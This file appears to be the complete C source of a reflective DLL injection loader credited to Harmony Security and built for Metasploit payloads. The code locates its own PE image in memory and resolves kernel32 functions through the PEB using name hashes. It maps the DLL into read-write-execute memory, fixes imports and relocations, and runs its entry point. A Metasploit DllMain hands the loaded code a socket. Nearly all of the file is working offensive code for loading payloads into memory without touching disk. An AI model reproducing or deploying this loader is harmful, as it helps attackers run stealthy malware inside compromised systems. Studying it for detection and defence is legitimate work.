452 lines
18 KiB
C
452 lines
18 KiB
C
//===============================================================================================//
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// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
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// All rights reserved.
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//
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// Redistribution and use in source and binary forms, with or without modification, are permitted
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// provided that the following conditions are met:
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//
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// * Redistributions of source code must retain the above copyright notice, this list of
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// conditions and the following disclaimer.
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//
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// * Redistributions in binary form must reproduce the above copyright notice, this list of
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// conditions and the following disclaimer in the documentation and/or other materials provided
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// with the distribution.
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//
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// * Neither the name of Harmony Security nor the names of its contributors may be used to
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// endorse or promote products derived from this software without specific prior written permission.
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//
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// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
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// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
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// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
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// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
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// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
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// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
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// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
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// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
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// POSSIBILITY OF SUCH DAMAGE.
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//===============================================================================================//
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#include "ReflectiveLoader.h"
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//===============================================================================================//
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// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
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HINSTANCE hAppInstance = NULL;
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//===============================================================================================//
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#ifdef _WIN64
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#pragma intrinsic( _ReturnAddress )
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UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
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#endif
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//===============================================================================================//
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// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
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// otherwise the DllMain at the end of this file will be used.
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// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
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// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
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// This is our position independent reflective DLL loader/injector
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#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
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DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
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#else
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DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
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#endif
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{
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// the functions we need
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LOADLIBRARYA pLoadLibraryA;
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GETPROCADDRESS pGetProcAddress;
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VIRTUALALLOC pVirtualAlloc;
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USHORT usCounter;
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// the initial location of this image in memory
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UINT_PTR uiLibraryAddress;
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// the kernels base address and later this images newly loaded base address
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UINT_PTR uiBaseAddress;
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// variables for processing the kernels export table
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UINT_PTR uiAddressArray;
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UINT_PTR uiNameArray;
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UINT_PTR uiExportDir;
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UINT_PTR uiNameOrdinals;
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DWORD dwHashValue;
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// variables for loading this image
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UINT_PTR uiHeaderValue;
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UINT_PTR uiValueA;
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UINT_PTR uiValueB;
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UINT_PTR uiValueC;
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UINT_PTR uiValueD;
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// STEP 0: calculate our images current base address
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// we will start searching backwards from our current EIP
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#ifdef _WIN64
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uiLibraryAddress = eip();
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#else
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__asm call geteip
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__asm geteip: pop uiLibraryAddress
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#endif
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// loop through memory backwards searching for our images base address
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// we dont need SEH style search as we shouldnt generate any access violations with this
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while( TRUE )
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{
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if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
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{
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uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
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// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
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// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
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if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
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{
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uiHeaderValue += uiLibraryAddress;
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// break if we have found a valid MZ/PE header
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if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
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break;
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}
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}
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uiLibraryAddress--;
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}
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// STEP 1: process the kernels exports for the functions our loader needs...
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// get the Process Enviroment Block
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#ifdef _WIN64
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uiBaseAddress = __readgsqword( 0x60 );
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#else
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uiBaseAddress = __readfsdword( 0x30 );
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#endif
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// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
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uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr;
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// get the first entry of the InMemoryOrder module list
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uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
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while( uiValueA )
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{
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// get pointer to current modules name (unicode string)
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uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
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// set bCounter to the length for the loop
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usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
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// clear uiValueC which will store the hash of the module name
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uiValueC = 0;
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// compute the hash of the module name...
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do
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{
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uiValueC = ror( (DWORD)uiValueC );
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// normalize to uppercase if the madule name is in lowercase
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if( *((BYTE *)uiValueB) >= 'a' )
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uiValueC += *((BYTE *)uiValueB) - 0x20;
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else
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uiValueC += *((BYTE *)uiValueB);
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uiValueB++;
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} while( --usCounter );
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// compare the hash with that of kernel32.dll
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if( (DWORD)uiValueC == KERNEL32DLL_HASH )
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{
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// get this modules base address
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uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
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break;
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}
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// get the next entry
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uiValueA = DEREF( uiValueA );
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}
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// get the VA of the modules NT Header
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uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
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// uiNameArray = the address of the modules export directory entry
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uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
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// get the VA of the export directory
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uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
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// get the VA for the array of name pointers
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uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
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// get the VA for the array of name ordinals
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uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
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usCounter = 3;
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// loop while we still have imports to find
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while( usCounter > 0 )
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{
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// compute the hash values for this function name
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dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
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// if we have found a function we want we get its virtual address
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if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
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{
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// get the VA for the array of addresses
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uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
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// use this functions name ordinal as an index into the array of name pointers
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uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
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// store this functions VA
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if( dwHashValue == LOADLIBRARYA_HASH )
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pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
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else if( dwHashValue == GETPROCADDRESS_HASH )
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pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
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else if( dwHashValue == VIRTUALALLOC_HASH )
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pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
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// decrement our counter
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usCounter--;
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}
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// get the next exported function name
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uiNameArray += sizeof(DWORD);
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// get the next exported function name ordinal
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uiNameOrdinals += sizeof(WORD);
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}
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// STEP 2: load our image into a new permanent location in memory...
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// get the VA of the NT Header for the PE to be loaded
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uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
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// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
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// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
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uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
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// we must now copy over the headers
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uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
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uiValueB = uiLibraryAddress;
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uiValueC = uiBaseAddress;
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__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );
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// STEP 3: load in all of our sections...
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// uiValueA = the VA of the first section
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uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
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// itterate through all sections, loading them into memory.
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while( ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections-- )
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{
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// uiValueB is the VA for this section
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uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
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// uiValueC if the VA for this sections data
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uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
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// copy the section over
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uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
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__movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD );
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// get the VA of the next section
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uiValueA += sizeof( IMAGE_SECTION_HEADER );
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}
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// STEP 4: process our images import table...
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// uiValueB = the address of the import directory
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uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
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// we assume their is an import table to process
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// uiValueC is the first entry in the import table
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uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
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// itterate through all imports
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while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
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{
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// use LoadLibraryA to load the imported module into memory
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uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
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// uiValueD = VA of the OriginalFirstThunk
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uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
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// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
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uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
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// itterate through all imported functions, importing by ordinal if no name present
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while( DEREF(uiValueA) )
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{
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// sanity check uiValueD as some compilers only import by FirstThunk
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if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
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{
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// get the VA of the modules NT Header
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uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
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// uiNameArray = the address of the modules export directory entry
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uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
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// get the VA of the export directory
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uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
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// get the VA for the array of addresses
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uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
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// use the import ordinal (- export ordinal base) as an index into the array of addresses
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uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
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// patch in the address for this imported function
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DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
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}
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else
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{
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// get the VA of this functions import by name struct
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uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
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// use GetProcAddress and patch in the address for this imported function
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DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
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}
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// get the next imported function
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uiValueA += sizeof( UINT_PTR );
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if( uiValueD )
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uiValueD += sizeof( UINT_PTR );
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}
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// get the next import
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uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
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}
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// STEP 5: process all of our images relocations...
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// calculate the base address delta and perform relocations (even if we load at desired image base)
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uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
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// uiValueB = the address of the relocation directory
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uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
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// check if their are any relocations present
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if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
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{
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// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
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uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
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// and we itterate through all entries...
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while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
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{
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// uiValueA = the VA for this relocation block
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uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
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// uiValueB = number of entries in this relocation block
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uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
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// uiValueD is now the first entry in the current relocation block
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uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
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// we itterate through all the entries in the current block...
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while( uiValueB-- )
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{
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// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
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// we dont use a switch statement to avoid the compiler building a jump table
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// which would not be very position independent!
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if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
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*(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
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else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
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*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
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else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
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*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
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else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
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*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
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// get the next entry in the current relocation block
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uiValueD += sizeof( IMAGE_RELOC );
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}
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// get the next entry in the relocation directory
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uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
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}
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}
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// STEP 6: process the images exception directory if it has one (PE32+ for x64)
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/*
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// uiValueB = the address of the relocation directory
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uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ];
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// check if their are any exception etries present
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if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
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{
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// get the number of entries
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uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
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// uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY)
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uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
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// itterate through all entries
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while( uiValueA-- )
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{
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//((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress
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// get the next entry
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uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
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}
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}
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*/
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// STEP 7: call our images entry point
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// uiValueA = the VA of our newly loaded DLL/EXE's entry point
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uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
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// call our respective entry point, fudging our hInstance value
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#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
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// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
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((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
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#else
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// if we are injecting an DLL via a stub we call DllMain with no parameter
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((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
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#endif
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// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
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return uiValueA;
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}
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//===============================================================================================//
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#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
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// you must implement this function...
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extern DWORD DLLEXPORT Init( SOCKET socket );
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BOOL MetasploitDllAttach( SOCKET socket )
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{
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Init( socket );
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return TRUE;
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}
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BOOL MetasploitDllDetach( DWORD dwExitFunc )
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{
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switch( dwExitFunc )
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{
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case EXITFUNC_SEH:
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SetUnhandledExceptionFilter( NULL );
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break;
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case EXITFUNC_THREAD:
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ExitThread( 0 );
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break;
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case EXITFUNC_PROCESS:
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ExitProcess( 0 );
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break;
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default:
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break;
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}
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return TRUE;
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}
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BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
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{
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BOOL bReturnValue = TRUE;
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switch( dwReason )
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{
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case DLL_METASPLOIT_ATTACH:
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bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
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break;
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case DLL_METASPLOIT_DETACH:
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bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
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break;
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case DLL_QUERY_HMODULE:
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if( lpReserved != NULL )
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*(HMODULE *)lpReserved = hAppInstance;
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break;
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case DLL_PROCESS_ATTACH:
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hAppInstance = hinstDLL;
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break;
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case DLL_PROCESS_DETACH:
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case DLL_THREAD_ATTACH:
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|
case DLL_THREAD_DETACH:
|
|
break;
|
|
}
|
|
return bReturnValue;
|
|
}
|
|
|
|
#endif
|
|
//===============================================================================================//
|